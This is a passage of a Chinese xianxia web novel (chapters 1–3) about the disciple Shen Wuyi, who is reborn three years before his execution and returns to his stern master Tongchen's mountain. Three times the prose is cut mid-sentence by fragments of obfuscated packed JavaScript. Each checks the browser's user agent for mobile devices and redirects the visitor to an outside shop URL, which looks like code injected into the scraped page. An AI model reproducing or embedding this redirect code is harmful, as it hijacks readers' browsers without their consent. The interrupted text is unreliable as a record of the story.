《入魔重生后和师尊he了》 1. 第一章 沈无一死了。 自他叛出师门,将修真界搅得一团乱后,终于惹得天怒人怨,在今天被各大门派联手用十方天雷劈成了一团灰。 乌云黑压压地罩在头顶,像黑色的浪一样在天空翻滚,闪电不时在其中穿行,发出令人心悸的刺啦闷响,昭示着一场天谴。 条条罪名仍旧响彻耳畔—— “沈无一,你欺师灭祖,伤及同门,滥杀无辜,已然忘却道心,枉为我悬眼山弟子,让你师父蒙羞!” * 沈无一猛地睁开眼睛,呼吸凌乱急促,被天雷劈中的疼痛似乎还残留在身体里,几乎要把他从里到外,从灵魂到□□都撕扯开。他从没承受过这样剧烈的痛楚,疼的他都微微痉挛。 一道熟悉的声音从远及近:“师兄,你怎么了?做噩梦了吗?” 沈无一后知后觉地感到脸颊上传来的痒意和耳畔叮咚的溪流声。 他不是死了吗?现在是在哪里? ……是谁在说话? 沈无一瞳孔涣散,用力地喘息着,眼前一片模糊,大脑混沌不堪,分不清今夕是何年。 “师兄?我们在这里呆的够久了,该回去了,今日的日常还没有做完呢。回晚了师父该说我们了。” 师父…… 听到这个字眼,沈无一浑身猛地痛起来,像有一根钢针猛地扎进他的大脑和心脏。 他惶然地看着自己的手,发现没有一处伤痕。 到底他之前经历的一切是场可怕的噩梦,还是现在才是梦? 小师弟陆朝阳的脸出现在他的面前,看见他满脸的冷汗和戾气未散的眼睛,怔了怔:“师兄,你怎么了?” 他们师兄弟三个除了要归云院听讲之外,每日还要下山挑水、照顾果园、给药圃施肥、进行术法练习,这些统称为“日常”,同尘会时不时地对他们的修炼情况进行抽查。 要是完不成或者完成的缺斤少两,晚上就要被师父用竹板打手心,扣晚饭,严重的还会加泡一个时辰的净魂池水。 谁都不会愿意在黑黝黝的山洞里泡那疼死人的水。 沈无一的性子就是个闲不住的,每次来挑水的时候要么偷跑去集市里买零嘴,要么就趁天好躺在草地上小憩,一问就是拉肚子了才耽误时间。 后面被揍了就老实了些,不乱跑了,就小憩。 今天他们只是按照惯例出来挑水,怎么师兄一转眼怎么就变得怪怪的? 沈无一整个人像是从水里捞出来的,像只惨白的水鬼,汗水把他的头发打湿,一绺一绺地贴在鬓角。他抬起头看见面前的人,心中翻滚的恐惧和恨意凝滞,张了张嘴,发出一道嘶哑的声音:“陆朝阳……?” 他记得自己闯悬眼山时打伤了陆朝阳,他倒在血泊里哀哀看着自己。那模样仿佛还在昨日,记忆犹新。 而眼前这个陆朝阳却神情放松,活蹦乱跳,就像是在很久以前—— 沈无一发现自己躺在一片草地上,周围的景色熟悉又陌生:“这是哪里?” “这是栖鹤峰啊。”陆朝阳觉得他实在有点不太对劲,赶紧蹲下来摸摸他的额头,摸到一手冷汗,慌里慌张地说:“师兄你额头好冰啊!是又发作了吗?” 不怪他这么紧张,沈无一的体质特殊,他本根骨绝佳,是修炼的上好人才,但三魂少了一魂,身体的防御机制比旁人差,便极易侵染魔气走火入魔。 他那次就是因为偷偷解开禁制跑到山下逛集市,不知在哪里染了魔气,一回来就神志不清地烧了三天三夜,整个栖鹤山噤若寒蝉,吓得陆朝阳以为自己从此要从三师弟变成二师兄。 其他的人没有硬性要求,沈无一却每隔五天都咬在净魂池里泡足一个时辰,净化经脉,还要修习特殊的心经。 即便如此,他隔三差五还是会全身经络疼痛难忍,陆朝阳看过他痛的在地上打滚的样子,实在是心有余悸。 陆朝阳紧张起来,觉得此事颇大。 他扶起沈无一的手臂想要带他回去找师父,沈无一却抬起手臂按住了他的肩膀。 他摇摇晃晃地站起来,走到溪边,俯身朝水面的人影看过去。 映照出来的确实是自己的脸,他没有借尸还魂。 “现在是什么年份?” 陆朝阳用担忧的眼神瞅着他,疑心他睡一觉起来把自己睡傻了,但还是老老实实地回答:“现在是平化七年啊。” 平化七年,正是他死去的三年前。 沈无一愣愣地看着水面上的倒影,他这是……重新回到了三年前? * 二人挑着装满水的木桶上山。 刚醒来时沈无一满心都是无法纾解的尖锐戾气,现在却只觉得茫然。 他在恍惚中用力掐了一下自己的手背,很痛,确定自己确实回到了过去,回到了一切都还没有发生的时候。 “是真的……”他低声喃喃。 天无绝人之路。虽然不知道为什么重新回到了过去,或许是上天怜悯,但既然重活一次,他就必须想办法让自己避开上一世的命运。 上一世他有很多事情都没有搞明白,这次便走一步看一步,或许很多事情都可以避免。 “师兄,你好些了吗?”陆朝阳回头看向他。 “没事了,只是做了噩梦。”沈无一说着,顿了一下:“不用告诉师父。” 陆朝阳诧异地瞪大眼睛。 他的二师兄可是手上破道口子都要想尽办法去师父面前博同情的人!现在居然说不要告诉师父? 他紧张兮兮地问:“师兄,你是中邪了吗?” 沈无一脸色还是苍白的,却熟练地给了陆朝阳一拳,扯了下没什么血色的嘴唇:“你才中邪了,会不会说话?” “哦哦,那就好那就好。”陆朝阳听到熟悉的语气,终于放下了从刚才起就一直悬着的心。天知道刚才的沈无一有多让他感到陌生。他想了想,还是说:“师兄,你等会儿还是去找大师兄看看吧。” 大师兄温成儒喜欢钻研医术,以往他们哪里磕了碰了都是找他配的药。 沈无一应了一声。 现在正是初春时节,石阶左右的木兰花都开了,柳树泛着嫩青色。空气中都是清新的味道。 沈无一拨开垂到眼前的柳枝,抬起头看着蜿蜒陡峭的石阶,强烈的熟悉感和怀念之情冲击着他的心头,让他情不自禁眼眶发酸。 多少次他无忧无虑地走过这里,脑子里只想着石阶怎么这么长肩上的水桶好重,想着怎么耍赖逃避净魂池……少年不识愁滋味,从未想过这一切有一天会变成遥不可及的梦。 他做梦都想再走一遍这道漫长石阶,可惜离开这里之后,他再也没有机会故地重游。 沈无一走到顶,将山下风景尽收眼底。 栖鹤峰周围围绕着缥缈云烟,宛如仙境。 现今仙门门派林立,以帝君所在的悬眼山为首。而悬眼山分为三峰:流云峰、观雪峰、栖鹤峰。 流云峰是主峰,是掌门、长老和门中弟子所在的地方;观雪峰是女君们住的地方;栖鹤峰则是悬眼山地势最高,风景最好的一峰,属于帝君,山外迷障重重,没有他的准许,外人无法进入。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006044|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 帝君这些年已经淡权,很多事都分落在各地的管理人身上,只有遇到众人都无法解决的大事时他才会出山,不过没人因此看低他的威慑力。 近百年来想要将自家孩子送到帝君手上的不计其数,因仰慕他托掌门传信的也不计其数,不过他从未收过,倒是自己捡回来三个徒弟。 作为现世唯一一个大乘期的修士,他离羽化飞仙只差一步之遥,行事向来自由,就连他的掌门师兄都不能说什么,那些仰慕他的人们也只好望而却步。 那时候沈无一少年心性,生怕再来一个什么弟子分走师父的时间,成天追在同尘屁股后面追问他收不收收不收。 同尘被他烦得不行,手指抵着太阳穴,冷淡地说:“光是管教一个你就已经够叫我劳心劳力。” 沈无一得到了保证,当天晚上高兴的多吃了一碗饭。 …… 一路拾阶而上,旧时的记忆也像压在河底的气泡一样向上漂浮。 沈无一和陆朝阳将水拎去了果园里浇了水,又去给药圃里的药材施了肥,回去的时候,正好碰上了大师兄温成儒。 陆朝阳连忙叫住他:“大师兄!” 温成儒温和地笑笑:“刚浇完药圃?” 陆朝阳点点头,便将身边的沈无一推了过去:“大师兄,二师兄他好像有点不舒服,你给他看看。” 温成儒眉目温润,朝沈无一看过来。 他的长相属于君子端方的那一类,没有什么攻击性,待人彬彬有礼,还是帝君首徒,因此,即便知道他早有一个感情甚笃的妻子,每逢节日,找上沈无一陆朝阳递信表意的还是不在少数。 不过可惜的是,他的妻子患有先天的病症,常常卧病在床。温成儒曾经跟他们提过,如此钻研医术也是为了治好她。 他凝眸看着沈无一,笑容温和:“无一,你哪里不舒服?” 在沈无一心中,温成儒一直就像是他的兄长,再见他忍不住有些鼻子发酸。他揉了一下鼻子,笑着说:“师兄,给我几支安魂香就好了,最近睡的不太好。” 温成儒看了一眼他的气色,唇色发白,眼神泛虚,确实是精神不太好的样子,身体看上去倒是无碍,应当没有什么大问题。他便点点头:“好,你待会儿去我那里取就是。” 放好木桶,沈无一就去了温成儒院子里取安魂香。 温成儒的院子里种了很多花,此时百花争艳,沈无一就站在花架前发呆。 温成儒拿香出来给他,想了想,还是拍拍他的肩膀说:“还在因为前几天师父责罚你生闷气吗?他对你虽然最为严格,也是因为你自小身体最差,不得不在你身上多费神。” 这些沈无一当然是知道的。同尘即便是对待自己的亲传弟子,管教起来的时候也毫不手软,对待沈无一更是严格——泡池子的时间少一刻都不行,功法抽查时错一点都要受罚。 那次他私自跑下山发烧,身体一养好又结结实实地挨了三大棍,刚下床又躺了回去。 “没有。”想到这里,沈无一的唇边泛起似有若无的笑。他已经想不起来同尘是因为什么责罚自己的了,总归是他又犯了错:“师父都是为了我好。” 温成儒看着他跟以往不太一样的笑,觉得他好像突然之间就长大了,愣了一下,欣慰地说:“你知道就好。” 沈无一把香线捏在手指间,站在原地,没有急着走。 温成儒看出他有话要说,也不催他,只是安静地给花浇水。最后,沈无一终于开口:“师兄,我今天身体实在不适,想要休息一天,你帮我跟师父请个假吧。” 2. 第二章 沈无一知道自己是个懦夫,他如今确实不敢、也没有办法坦然地面对他师父。 以同尘的敏锐,定能发现他的不对,到时候他要如何解释呢?说他上辈子入魔叛出师门,在他的眼前被十方天雷劈成了灰? 好在温成儒不像陆朝阳那样一根筋,喜欢追根究底。他什么都没多问,只是叮嘱沈无一要好好休息。 沈无一谢过他,便离开了温成儒的院子。 他告假一天,整个人都恍恍惚惚,一回自己的院子,就径直躺倒在床。但或许是他心情起伏太大,导致他本来就脆的身体忽然虚弱,竟然狠狠生了一场大病。 陆朝阳来找他时发现了他的异状,赶紧叫来了温成儒。 沈无一烧的神志不清,意识浮浮沉沉,吃完药后很快又昏睡了过去,模糊间听见陆朝阳在说:“师兄到底是怎么了啊?要不要把师父叫来啊?” 他不记得自己有没有开口说不要。 太阳下山后,整个屋内的光线都暗了下来。意识再次回笼的时候,沈无一感觉到一股温热的湿意拂过自己的额头和脖子,是有人再给他擦拭身体,力道很轻。 他生病出了一身的汗,身体本该黏答答的,现在却十分清爽。 他迷迷糊糊地睁开眼睛,看到一个朦胧的背影,那人正背对着他在拧毛巾,银白色的长发披散,像归墟终年不化的雪。 沈无一心口陡然传来一阵钝痛,他恍惚地眨了一下眼睛,沙哑着呢喃道:“……师父。” “嗯。”他听见同尘应了一声,声音听起来竟有些罕见的温和。 沈无一忘记了自己在哪里,也忘记了现在是什么时间,只知道满腔的委屈和怨愤在无可抑制地横冲直撞。 他死死地盯着面前的身影,手指微动,像是想要抓住那片金色的衣袖,眼泪扑朔扑朔地往下流,将一直藏在心中的质问一股脑地丢出来:“你为什么没有来找我?你为什么……不要我了?” 因为病着,他的声音很轻,听起来几乎像是神志不清的哭泣梦呓。 同尘顿了一下,转过头来,他看着沈无一虚焦的眼睛和满面泪痕,微微蹙起眉头。 他伸手按在沈无一的眉心,探识了一下他的神识状况,低语道:“在说胡话,是做噩梦了么?” 他犹豫了一下,轻轻拍了拍沈无一的头顶,当做安抚。 头顶的手掌温热,和明因记忆里的感觉一样,像是在心上打上了烙印,始终不曾忘记半分。 他本就疲倦的精神在这样的安抚下犹如倦鸟归巢,没有支撑多久,就再次昏睡过去。 或许因为在熟悉的气息中沉眠,他再次梦到了第一次遇见同尘的时候。 …… 几十年前,娉州燕国爆发了有史以来最大的干旱,农田颗粒不收,河流断流枯死。 这个节骨眼上,亲王在魔族的支持下举兵造反,一路打到了王城,那时候魔族正是肆虐的时候,烧杀抢掠无恶不作,路边皆是饿殍死尸,可谓是天灾人祸。 百姓跑的跑,死的死,在逃亡的路上,沈无一被他娘敲晕了丢在了路边,醒来的时候发现自己被胡乱丢进了尸堆中,浑身都是尸臭味。 其实早就有预兆了。他娘被人强迫才生下的他,从沈无一出生开始,他娘就没有掩饰过对他的厌恶,好几次沈无一半夜被她掐醒的时候,都会看到一双充满恨意的眼睛。 但或许出于不忍心,他娘最后都没有真的下得去手。 沈无一不怨她,也没有立场怨她,比起被打骂,他更害怕被唯一的亲人抛下。于是即便他娘从来没给过好脸色,他也依旧努力地想要讨好她,每天天不亮就起床做饭,大冬天生着冻疮去洗衣服,大街上耍杂技赚钱。 但没想到最后还是被丢下了。 沈无一呆呆地坐在尸体中间,看到回来巡查的叛军,赶紧爬起来滚进了河里。直到叛军离开,他才憋不住气地上了岸。 沈无一跟着其他的流浪儿一同来到了王城,这里也已经是一片狼藉。 相比死亡,灼烧般的饥饿更让人难以忍受,在这里,他无师自通地学会了偷、抢、耍赖,每天冒着危险躲避叛军,跟其他流浪汉甚至是流浪狗抢食,形同行尸走肉,有时候分不清自己究竟是死了还是活着。 王城里的局势每天都在变化,但对他们而言,唯一的影响就是日子变得更难过了。 有天抢完馒头,沈无一急着找个没人的地方吃,结果一头撞在了叛军领队身上,当即摔飞出去,刚抢到手的馒头轱辘轱辘滚了好远,一阵骂声中,一只脚毫不留情地踩在了上面。 沈无一知道自己要完蛋了,他今天就要死在这里了。但刀落下来的那一刻,他想的是,馒头都没有吃一口,被踩脏了,好可惜。 忽然间,“铮”地一声,朝他砍来的刀被击飞了出去,振动着插在了地上。 “大胆!”“是谁?!” 叛军唰地拔剑迎敌,沈无一抬起头,看到了一片金色的衣角,往上是霜雪一般银白的长发,侧脸冷峻。 他呆愣地睁大眼睛,傻傻地望着面前的人,连呼吸都忘了,“仙人”一词第一次在他心中有了具体的形象。 同尘卸掉了所有叛军的武器,问出魔族的方向之后将他们全部打晕了,正准备离开时,却感到衣摆被人拽住了。 见到这个仙人时,沈无一好像看到了希望,于是做出了一个大胆的决定,拽住了同尘的衣摆。 被他冷淡的眼神一扫,沈无一立马瑟缩了一下,但还是没有松手。 “何事?”同尘开口。 沈无一那张脸已经脏的看不出来原本的样貌,像一颗灰扑扑的煤球,但嵌在其中的眼睛却特别亮,含着水光和期冀。 他仰头望着这个漠然出尘的仙人,忍着畏惧恳求道:“仙人,你可以带我一起走吗?” 他嗓音颤抖,说完就紧张地咽了一下口水,一眨不眨地望着同尘。 同尘没有说话,低头看着他,银色的眼眸充满了不染尘埃的距离感。 沈无一更加用力地攥住他的衣摆,哀哀地望着他,语无伦次地说:“求求你!我可以帮你洗衣做饭,我还可以去街上耍杂技赚钱,我会胸口碎大石,让我干什么我都可以……” 他努力想要展示自己的价值,但最后声音越来越小,因为他知道自己好像确实是一个累赘,没人会想带他走,不然娘亲为什么会丢下他呢? 他眼眶里含着泪水,麻木又绝望地想着,轻轻松开了手。 这时,同尘终于动了,他似是很轻地叹了口气,将沈无一从地上拎了起来,嗓音依旧淡而凉:“不需要你洗衣做饭,可以自己走吗?” 沈无一的眼睛一下子又亮了起来,双眼红彤彤地、热切地看着他。他站稳身体,胡乱地揉了一下眼睛,胸腔一下一下地跳动,喜悦地发痛。他紧紧跟在同尘身后,保持着一步的距离,用力点点头:“嗯嗯,我可以!” 他们一路北上,因为他,同尘临时改变了计划,先回了悬眼山。 同尘原本是打算将他送入留云峰教养,但沈无一撒泼打滚无所不用其极,一定要跟着他。 同尘考量片刻,最后还是将他留在了自己身边。 有时候沈无一会想,如果可以一直一直停留在那段时间的话,该有多好。没有求而不得的痛苦、没有入魔的恐慌、也没有一别经年的萧索。 …… 再次醒来的时候,沈无一身上的高热已经褪去。 陆朝阳坐在他的床边翻开一本剑谱,一边看一边念念有词地注解,他的天分并不像师兄们那样高,但还算认真。 看到沈无一醒来,陆朝阳动作一顿,立马放下书熟练地摸了摸他的额头,惊喜道:“不烫了!” 温成儒很快也走进来,在沈无一的手腕和脖子上贴了一下,点头说:“已经没有大碍了。” 他还记得沈无一贪嘴好吃的毛病,又多提醒了一句:“但这段时间饮食上要多注意,忌油腻忌荤腥。我会让厨房准备你能吃的,不要贪嘴。” 沈无一坐在床边发了一会儿呆,无奈地说:“知道了,师兄。” 温成儒的药很有效,他身体上的不适已经去了七八分。他从床上坐起身,目光忽然落在桌面的毛巾上。 一些模糊的记忆忽然袭上心头,他动作一顿,几乎是顷刻就回忆起了手掌抚摸在头顶的触感。他迟疑地问出声:“师父他来过吗?” “你问师父吗?”陆朝阳回答:“不知道啊,师父最近要闭关一小段时间,你不让我们告诉他,我们就没说了。” 沈无一忽然就有点不确定那是不是自己意识昏沉产生的幻觉了。 或许真的只是梦吧,在他的记忆里,师父跟自己很少有那样温情的时刻,或许是因为自己身上的魔族血脉,他在自己面前大多数时候都是威严的、冷清的、遥不可及的。 说起来,他身负魔族血脉这件事,连他的师兄弟都不知情,只当他神魂缺失体质差。但实际上,他修习心经、泡净魂池,都是为了压制体内的魔族血脉。 若非上一世偶然听到掌门和同尘的谈话,他也会一直被瞒在鼓里。 掌门在同尘面前向来温吞谦和,那天却少有地疾声厉色:“师弟,你本知道那孩子身负魔族血脉,稍有不慎便会坠魔!他性子顽劣不定,天资又高,若是入魔便更难处理,我昨夜卜过一卦,显示大凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006045|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他未来必是整个仙门的隐患,必须尽早清除……” 那时早已生了心魔的沈无一站在门外,手里拿着想要送给同尘的陶偶,还未展开的笑容滑稽地僵在了脸上,只觉得一股冷意从心脏扩散。他握紧陶偶,心慌地嗓子眼发干,觉得自己此刻应该离开更好,但双脚却像生了根一样无法挪动。 同尘会说什么?他一瞬不瞬地盯着一步之隔的门扉,半晌后,终于听见同尘开口:“若是有那么一天,我会亲自处理他。” 沈无一常常会想,同尘的三个弟子,似乎只有自己是死皮赖脸贴上来的,他这么大一个麻烦,同尘是不是也早就厌弃自己了呢? …… 病好之后,沈无一每天还是照常完成日常,挑水练剑。 不需要面对同尘让他像一只缩在壳里的乌龟一样感到安全,但也越发惶惶不可终日,像是等待斩刀落下的犯人。 终于,在三日后同尘出关了。陆朝阳在门口喊他:“师兄,你剑法练的怎么样了?师父让我叫你过去检查。” 他皱着眉毛,整张脸上都是失落,看来是发挥的不太好。他红着脸抓了抓头发说:“果然还是不能偷懒,我就趁着师父闭关的时候稍微休息了一下,结果就被发现了。” 沈无一的大脑有一半是停止不动的,他对陆朝阳点点头,说了一句:“我去了。”就捡起桌上的佩剑往外走去。 陆朝阳看着他挺直的腰背和行走时翻飞的衣袍,满眼的敬佩:“看来师兄一定是很有把握了,不慌不乱、镇定自若,这才是修仙之人该有的气质啊!” 他羞愧万分,师兄们都如此厉害,自己也应该更加努力才是!这么想着,他暗暗握拳,转身往后山寒潭静心修习去了。 沈无一慢吞吞地走到了重华殿中。脚下的路好像变得无比漫长,又似乎转眼就能走到头,他的目光缓慢地流转过院中熟悉的一草一木,种种情绪也在心中滋生。 他顺着青石小路往前走,终于在尽头的海棠花树下看到了那道暗金色的身影。 同尘正在站在树下拭剑。他手中的剑正是他的本命剑——神剑太古。 沈无一见过太古出鞘的样子,天地风云皆为之色变,剑身光华流转,威压不可直视。现在未见战事,它便安静地蛰伏着,更像个晒太阳的闲散老头。 同尘垂着眼睛,银白色的长发被一根金边暗纹的发带束起,周身气场冷漠而威严,如同落入凡尘的谪仙。 沈无一站住脚步,呆呆地望着他,许久都没有说话。 从他进来的那一刻同尘就已经发觉了他,此刻放下剑,抬眸朝他看去:“呆站在那里干什么?” 对上那对霜雪般的银色眼眸,沈无一神情有些恍惚,他怔忡片刻,一时不知道该用什么态度面对他,下意识地弯腰行礼:“……弟子见过师父。” 应该表现得更自然一些的。他懊恼地垂着眼睛,看到那双云纹长靴朝自己走来,停在自己身前,呼吸好像也跟着暂停了一瞬。 院中有风起,树叶簌簌地响起来。同尘没有说话,但沈无一能感觉到他的目光淡淡地落在了自己身上。 沈无一心脏紧缩,僵硬地低着头,听见他问:“这几日剑法练的如何?” 沈无一不知道该怎么说,他这几日心神恍惚,哪有什么心思好好练剑,便含糊其辞道:“尚可。” 同尘不置可否:“那便练一段‘惊鸿’给为师看看吧。” “是。”沈无一应了一声,随即抽出腰间佩剑“锻心”。 当初入藏剑阁时,他一眼相中这把佩剑,同尘说此剑“如水如月直问心,暗火冥冥照晚萤”,于他也颇为合适。 但后来这把剑断了,他也没能“锻心”。 重新抽出这把陪伴自己数年的佩剑,沈无一感到一阵隐隐的嗡鸣声从中传来,那是剑在与他共鸣,喜悦如见故人。 沈无一深吸一口气,缓缓吐出,脑中回忆曾经记过的剑诀,大片的冰霜在他的脚下铺开。他按照剑诀迈出步伐,剑锋划破空气的声音如裂帛,将飘落而下的花瓣振飞。 惊鸿剑诀是用于奇袭的剑法,前面一段都不难,只是最后收尾的那段剑步独特,他当初练的时候就总是容易出错…… 沈无一额头渗出细汗,他抿着唇,努力保持专注。 起势、点剑、扫剑,无形的气浪在空中如波纹般荡开,他凝神静气,眼眸专注。 但或许是由于他太紧张,越想避开错误就越容易落入其中,最后一步交换两脚交替的时候,他再一次犯了以前都会犯的错误—— 沈无一两脚磕碰在了一起,剑气在这一乱中陡然破散,他身形一个踉跄,朝同尘的方向倒了过去。 3. 第三章 同尘伸手接住了他。 一股淡淡的冷梅香传来,沈无一大脑瞬间空白了片刻,他浑身僵硬地贴着同尘的胸口,一时不知道要如何反应,理智告诉他应该立刻起身,但情感却想要继续停留。 半晌,同尘说:“这叫尚可?” 沈无一站直身体,垂着脑袋,脸颊到耳廓羞耻地红成一片。之前他就喜欢用这套剑诀强行碰瓷,这次不想碰瓷了,却还是出了错,说不是故意的都不会有人信。 沈无一嗫嚅两下,说:“这几日身体不适,方才失误了。” 同尘理了一下袖口,语气毫无起伏:“无一,你心不静。是有何虑?” 沈无一一怔,抬起眼看向他,那双银色的眸子看人时总有种平静的审视意味,锋利的好像能看穿皮囊下的一切欲念。 在这样的视线里,沈无一陡然感到嘴唇发干,四肢都有些脱力般的麻,他就知道自己不可能骗得过同尘。 他张了张嘴,半晌才嗓音干涩地开口:“……徒弟,徒弟只是想到不久之后的仙门试炼,担心拿不到好名次,给师父丢脸。” 说完这段话,他好像耗光了所有的力气,脸色忽然变得有些白,透着一股虚弱的病气。 同尘垂眼望着他,没有说话,那目光如镜般透彻锋利。沈无一僵硬地站着,后背渗出汗,知道任何谎言都无法逃过这双眼睛。 终于,同尘收回视线视线:“既然你不愿说,为师可以不问。” 他走回树下,那股压力也随之撤去:“但不论是何缘由,切勿因此乱了道心。” 沈无一猛地松了口气,然后动了动嘴唇,低下头回答:“那师父,我就先回去了。” 同尘背对着他,微微颔首:“回去把惊鸿好好练练。下次不要再出错了。” 沈无一应声,行了一礼。他直起腰,在原地站了两秒,才提着剑往回走。 * 晚上沈无一被温成儒叫去泡净魂池。 因为他的自主性实在太差,也防止他晕死在池中,师徒几个会轮流着监督他,一到时间就把他捞出来,没到时间里面再怎么求都不能理会。 本以为这次沈无一又要哭天抢地、打滚撒泼地不要去,没想到他这次倒是没闹腾就去了。温成儒还颇感惊奇。 沈无一站在净魂池边往下看去,池中水面平静,隐隐泛着蓝色的荧光,看着有多美丽,下去就有多受罪。 净魂池净化不洁的血脉,消除魔气,因此心魂越污浊、身上魔气越重,待在池水中就越痛苦。那是一种连灵魂都被层层剥开的疼痛,宛如剔骨削肉。 同时,由于浸泡净魂池时需要摒弃五感,精心凝神,同尘在这里设了一道屏障,隔绝了外接的所有光亮和声音,待在里面就像待在一座死寂的囚牢里一样。 许是未听见水声,温成儒的声音从外面传来:“无一,尽快泡完才好早点回去休息。忍一忍就过去了。” “知道了。”沈无一应了一声,泡了这么多次了他还是怕。他深呼一口气,壮士断腕一般抬步迈了进去。 身体淹没在水中的第一秒,他感到一种身体和灵魂都放空的透彻,仿佛坐在午后的竹荫中听主持讲经,通身清爽。 但很快,细密的疼痛就像被万蚁啃食那样攀升上来,在他的骨头缝中间穿梭。 此时的沈无一比起上一世这时候的他心更乱更杂,忍受的痛苦也就更为强烈。 他打定主意要撑过去,于是狠狠地咬住自己的手臂,想要忍住这股痛。但事与愿违,很快细碎的声音从他的齿间传出。他疼的要命,不想再泡,挣扎着要去岸边,刚有动作,水中却生出藤蔓一样的东西缠住他的手脚,将他重新拽进水中。 随着浸泡时间的加长,沈无一已经开始神志不清,各种因为疼痛产生的负面情绪一股脑地涌上他的大脑,他在水中毫无章法地踢蹬,水花溅的到处都是,但那缚住他手脚的藤蔓却没松开半分,他一遍痛哭一边胡乱地咒骂,连自己都不知道自己在说什么。 洞外的温成儒听着里面的声音,忍不住叹了口气。师弟的情况好像变得严重了些,最近的状态也不太对。是发生了什么他不知道的事么? 他回想最近山上发生的事,想要找到些蛛丝马迹,眼角余光却瞥到一道暗金色的身影。他愣了一下,随即转身行礼道:“师父。” 同尘在洞前站定,问道:“他泡了多久了?” “就快到时间了。” 伴随着他们的对话,洞中一声声叠着哭腔的凶狠咒骂声还在继续,温成儒捕捉到“杀千刀的同尘”“王八蛋”“狗日的同尘”这样的字眼,顿了一下,有些尴尬地跟同尘解释:“师父,师弟这是痛狠了口不择言,无意冒犯师父的。” “无事。”听见沈无一翻来覆去地咒骂自己,同尘也没有露出怒意,只是站在原地望着漆黑的洞内,没有离开。 整整一个时辰过去,洞中的禁制才被打开,沈无一已经痛晕了过去,他仰躺在水面上,浑身湿透,黑发凌乱地黏在脸上,颇为狼狈,白色的衣袍在水中散开,远看像一只搁浅的鲛人。 “我送他回去吧。”同尘转头对温成儒说:“你去取一些伤药来。” “是。”温成儒朝晕倒的沈无一看了一眼,这孩子整天嚷嚷着师父偏心小师弟,但师父其实对他还是颇为关心的。 同尘走进洞内,抬手挥了一下,水中本来极其嚣张的藤蔓就以一种极为驯顺的姿态托住沈无一,将他送到了岸边。他施了一道清洁术,沈无一湿透的衣服瞬间就干了。 他将沈无一抱起来,看着他睡梦中仍然紧皱的眉头,理了一下他凌乱的头发,轻声说:“也到了有心事的年纪了么?” 他能感觉到沈无一跟他之间突然产生的隔阂,但他不会多问。他之前虽总爱黏在自己身边,但是人都会长大的。 昏睡的沈无一不安地动了一下眼皮,仿佛梦里有数不尽的忧愁。同尘伸手按在沈无一的眉心,输入了一道温和的灵力,在他的经脉之间游走,沈无一周身焦躁不安的气息便散了开来,眉头也逐渐松开。 沈无一泡池子时疼得天怒人怨,醒来之后却感觉神清气爽,这也是净魂池的功效,祛除身上的污秽之后便宛如新生。 他身上的痛极时自己咬的伤痕已经涂了药膏,好的七七八八了,应该是得到了很好的照顾。 温成儒问他身体感觉如何的时候,他特地表示了感谢:“多谢师兄照顾我,我已经没什么不适了。” 没想到温成儒却对他弯着眼睛笑了笑:“可不是我。是师父把你带回去的,伤口应该也是他帮你处理的,你看,师父他还是很关心你的。” 沈无一愣了愣,竟然是同尘把他带回来的? “不过,”温成儒忽地停顿了一下,神色莫测。在沈无一疑问的眼神中,他用一种“你自求多福”的语气,和缓地说:“不过,你泡净魂池的时候情绪有些激动,骂了师父一些不太好听的话……师父他全都听到了。” 沈无一的目光呆滞了,他会的脏话可不少,一急什么要命的话都说的出来。他心脏高高提起,抱着侥幸心理问:“我骂了什么,应该不算太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006046|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过难听吧。” 温成儒回忆了一下沈无一骂过的话,有些他不好复述,便挑了几个能说的:“嗯……如果‘杀千刀的同尘’不算太过难听的话。” “……哈哈。”沈无一干笑两声:“师兄你真幽默。” 温成儒笑着拍了拍沈无一:“总之,这几天做事儿都小心着点吧。” 沈无一这几天因此都尽量降低自己的存在感,好在同尘好像并没有把这件事放在心上,神色与平常无异。 就这样安安分分地度过了几天,某天,他正在钻研新学的剑法得时候,一只传音千纸鹤摇摇晃晃地飞进了他的院子。 沈无一认出这是他的朋友穆仪枫的纸鹤,连忙伸手接住,他在纸鹤输了一道灵力,穆仪枫郎朗的笑声便立马传了过来:“小二,你好多天没找我了,是怎么了?又犯事被关禁闭了吗?” 穆仪枫是留云峰千机长老的徒弟,外貌端正俊雅,熟了之后性格却相当奔放,他两的相遇可谓是不打不相识,最后打着打着觉得竟然拿有些投缘,遂成为了朋友,有事没事就凑在一起喝酒切磋,被看作一对“混世魔王”。 有次他们差点不小心把千机长老新收的灵宠当做野鸡烤了吃,被千机长老一怒之下用网兜挂在树上挂了半宿,最后还是温成儒出面才把他领回去的。 昔日旧友的声音传来,还是那股熟悉的欠抽味儿,沈无一说:“你丫才犯事儿了,找我干什么?” 